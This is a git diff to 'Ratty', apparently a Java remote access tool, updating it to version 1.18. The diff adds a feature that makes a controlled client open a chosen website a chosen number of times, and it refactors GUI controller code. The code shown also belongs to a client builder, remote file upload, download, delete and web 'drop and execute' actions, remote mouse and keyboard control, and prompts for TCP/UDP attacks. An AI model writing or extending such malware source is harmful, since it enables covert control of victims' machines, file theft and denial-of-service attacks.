diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index 4ec3402..3628a87 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -12,6 +12,7 @@ server.tcp=TCP server.udp=UDP server.attack_message=Which protocol? server.url_message=Type in a URL. +server.amount_question=How often? builder.address_question=Which address should the client connect to? builder.port_question=Which port? diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index db776dd..52d745b 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -12,6 +12,7 @@ server.tcp=TCP server.udp=UDP server.attack_message=Welches Protokoll? server.url_message=Gib eine URL ein. +server.amount_question=Wie oft? builder.address_question=Mit welcher Adresse soll sich der Client verbinden? builder.port_question=Welcher Port? diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index 4ec3402..3628a87 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -12,6 +12,7 @@ server.tcp=TCP server.udp=UDP server.attack_message=Which protocol? server.url_message=Type in a URL. +server.amount_question=How often? builder.address_question=Which address should the client connect to? builder.port_question=Which port? diff --git a/Ratty/res/language/lang_es.properties b/Ratty/res/language/lang_es.properties index 9f0d7ae..3cd7ff5 100644 --- a/Ratty/res/language/lang_es.properties +++ b/Ratty/res/language/lang_es.properties @@ -37,7 +37,8 @@ action.execute=Ejecutar archivo action.delete=Eliminar archivo action.new_directory=Crear una nueva carpeta action.upload_execute=Subir y ejecutar archivo -action.drop_execute=EJecutar archivo desde web +action.drop_execute=Ejecutar archivo desde web +action.drop_file=Soltar archivo column.name=Nombre column.location=Localizacion diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 1cac649..2e96413 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.17.1"; + public static final String VERSION = "1.18"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; diff --git a/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java b/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java index a577520..d7016b7 100644 --- a/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java @@ -11,10 +11,13 @@ import de.sogomn.rat.ActiveConnection; public final class WebsitePacket implements IPacket { private String address; + private int amount; private static final String HTTP_PREFIX = "http://"; - public WebsitePacket(final String address) { + public WebsitePacket(final String address, final int amount) { + this.amount = amount; + final boolean hasPrefix = address.startsWith(HTTP_PREFIX); if (hasPrefix) { @@ -24,22 +27,15 @@ public final class WebsitePacket implements IPacket { } } - public WebsitePacket() { - this(""); - } - - @Override - public void send(final ActiveConnection connection) { - connection.writeUTF(address); + public WebsitePacket(final String address) { + this(address, 1); } - @Override - public void receive(final ActiveConnection connection) { - address = connection.readUTF(); + public WebsitePacket() { + this(""); } - @Override - public void execute(final ActiveConnection connection) { + private void openWebsite(final String address) { final boolean desktopSupported = Desktop.isDesktopSupported(); if (desktopSupported) { @@ -58,6 +54,25 @@ public final class WebsitePacket implements IPacket { } } + @Override + public void send(final ActiveConnection connection) { + connection.writeUTF(address); + connection.writeInt(amount); + } + + @Override + public void receive(final ActiveConnection connection) { + address = connection.readUTF(); + amount = connection.readInt(); + } + + @Override + public void execute(final ActiveConnection connection) { + for (int i = 0; i < amount; i++) { + openWebsite(address); + } + } + public String getAddress() { return address; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java index 3868936..882f8f1 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -19,6 +19,8 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class DisplayPanel extends AbstractListenerContainer implements IMouseListener, IKeyboardListener { + private ServerClient client; + private String title; private Screen screen; private BufferedImage image; @@ -33,8 +35,8 @@ public final class DisplayPanel extends AbstractListenerContainer controller.userInput(CLOSED)); + notifyListeners(controller -> controller.userInput(CLOSED, client)); } }; final BufferedImage[] icons = RattyGui.GUI_ICONS.stream().toArray(BufferedImage[]::new); @@ -109,7 +111,7 @@ public final class DisplayPanel extends AbstractListenerContainer controller.userInput(MOUSE_EVENT)); + notifyListeners(controller -> controller.userInput(MOUSE_EVENT, client)); } @Override @@ -128,7 +130,7 @@ public final class DisplayPanel extends AbstractListenerContainer controller.userInput(KEY_EVENT)); + notifyListeners(controller -> controller.userInput(KEY_EVENT, client)); } public void setTitle(final String title) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java index 769a6cc..ad3cfe3 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -24,6 +24,8 @@ import de.sogomn.engine.util.ImageUtils; public final class FileTree extends AbstractListenerContainer { + private ServerClient client; + private JFrame frame; private FileTreeNode root; @@ -33,7 +35,7 @@ public final class FileTree extends AbstractListenerContainer { private JPopupMenu menu; - private FileTreeNode lastNodeClicked; + private FileTreeNode clickedNode; private static final String ROOT_NAME = ""; private static final String SEPARATOR_REGEX = "[\\\\\\/]"; @@ -58,7 +60,9 @@ public final class FileTree extends AbstractListenerContainer { DROP_FILE }; - public FileTree() { + public FileTree(final ServerClient client) { + this.client = client; + frame = new JFrame(); root = new FileTreeNode(ROOT_NAME); tree = new JTree(root); @@ -83,9 +87,9 @@ public final class FileTree extends AbstractListenerContainer { tree.setSelectionPath(path); if (path != null) { - lastNodeClicked = (FileTreeNode)path.getLastPathComponent(); + clickedNode = (FileTreeNode)path.getLastPathComponent(); } else { - lastNodeClicked = null; + clickedNode = null; } } }; @@ -116,7 +120,7 @@ public final class FileTree extends AbstractListenerContainer { private void menuItemClicked(final ActionEvent a) { final String command = a.getActionCommand(); - notifyListeners(controller -> controller.userInput(command)); + notifyListeners(controller -> controller.userInput(command, client)); } public void reload() { @@ -179,8 +183,8 @@ public final class FileTree extends AbstractListenerContainer { frame.setTitle(title); } - public FileTreeNode getLastNodeClicked() { - return lastNodeClicked; + public FileTreeNode getClickedNode() { + return clickedNode; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java index 6caf852..627890b 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -2,6 +2,6 @@ package de.sogomn.rat.server.gui; interface IGuiController { - void userInput(final String command); + void userInput(final String command, final ServerClient client); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 107a2ce..b3d612c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -204,7 +204,7 @@ final class RattyGui extends AbstractListenerContainer { private void actionPerformed(final ActionEvent a) { final String command = a.getActionCommand(); - notifyListeners(controller -> controller.userInput(command)); + notifyListeners(controller -> controller.userInput(command, lastServerClientClicked)); } public void update() { @@ -312,8 +312,4 @@ final class RattyGui extends AbstractListenerContainer { return getInput(null); } - public ServerClient getLastServerClientClicked() { - return lastServerClientClicked; - } - } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 617e231..50ade36 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -78,6 +78,7 @@ public final class RattyGuiController extends AbstractRattyController implements private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question"); private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question"); private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message"); + private static final String AMOUNT_QUESTION = LANGUAGE.getString("server.amount_question"); private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip="; @@ -123,13 +124,22 @@ public final class RattyGuiController extends AbstractRattyController implements private WebsitePacket createWebsitePacket() { final String input = gui.getInput(URL_MESSAGE); - if (input != null) { - final WebsitePacket packet = new WebsitePacket(input); - - return packet; + if (input == null) { + return null; } - return null; + final String numberInput = gui.getInput(AMOUNT_QUESTION); + final int number; + + try { + number = Integer.parseInt(numberInput); + } catch (final NumberFormatException ex) { + return null; + } + + final WebsitePacket packet = new WebsitePacket(input, number); + + return packet; } private AudioPacket createAudioPacket() { @@ -140,7 +150,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private DownloadFilePacket createDownloadPacket(final ServerClient client) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode node = client.fileTree.getClickedNode(); final String path = node.getPath(); final DownloadFilePacket packet = new DownloadFilePacket(path); @@ -151,7 +161,7 @@ public final class RattyGuiController extends AbstractRattyController implements final File file = gui.getFile(); if (file != null) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode node = client.fileTree.getClickedNode(); final String path = node.getPath(); final UploadFilePacket packet = new UploadFilePacket(file, path); @@ -162,7 +172,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private ExecuteFilePacket createExecutePacket(final ServerClient client) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode node = client.fileTree.getClickedNode(); final String path = node.getPath(); final ExecuteFilePacket packet = new ExecuteFilePacket(path); @@ -170,7 +180,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private DeleteFilePacket createDeletePacket(final ServerClient client) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode node = client.fileTree.getClickedNode(); final String path = node.getPath(); final DeleteFilePacket packet = new DeleteFilePacket(path); @@ -181,7 +191,7 @@ public final class RattyGuiController extends AbstractRattyController implements final String input = gui.getInput(); if (input != null) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode node = client.fileTree.getClickedNode(); final String path = node.getPath(); final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input); @@ -207,7 +217,7 @@ public final class RattyGuiController extends AbstractRattyController implements final String address = gui.getInput(URL_MESSAGE); if (address != null) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode node = client.fileTree.getClickedNode(); final String path = node.getPath(); final DownloadUrlPacket packet = new DownloadUrlPacket(address, path); @@ -261,7 +271,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private void requestFile(final ServerClient client) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final FileTreeNode node = client.fileTree.getClickedNode(); final String path = node.getPath(); final FileRequestPacket packet = new FileRequestPacket(path); @@ -561,8 +571,7 @@ public final class RattyGuiController extends AbstractRattyController implements } @Override - public void userInput(final String command) { - final ServerClient client = gui.getLastServerClientClicked(); + public void userInput(final String command, final ServerClient client) { final IPacket packet = createPacket(client, command); if (packet != null) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index aea7de5..54a0a8e 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -20,8 +20,8 @@ final class ServerClient { public ServerClient(final ActiveConnection connection) { this.connection = connection; - displayPanel = new DisplayPanel(); - fileTree = new FileTree(); + displayPanel = new DisplayPanel(this); + fileTree = new FileTree(this); } public void logIn(final String name, final String os, final String version, final ImageIcon flag) {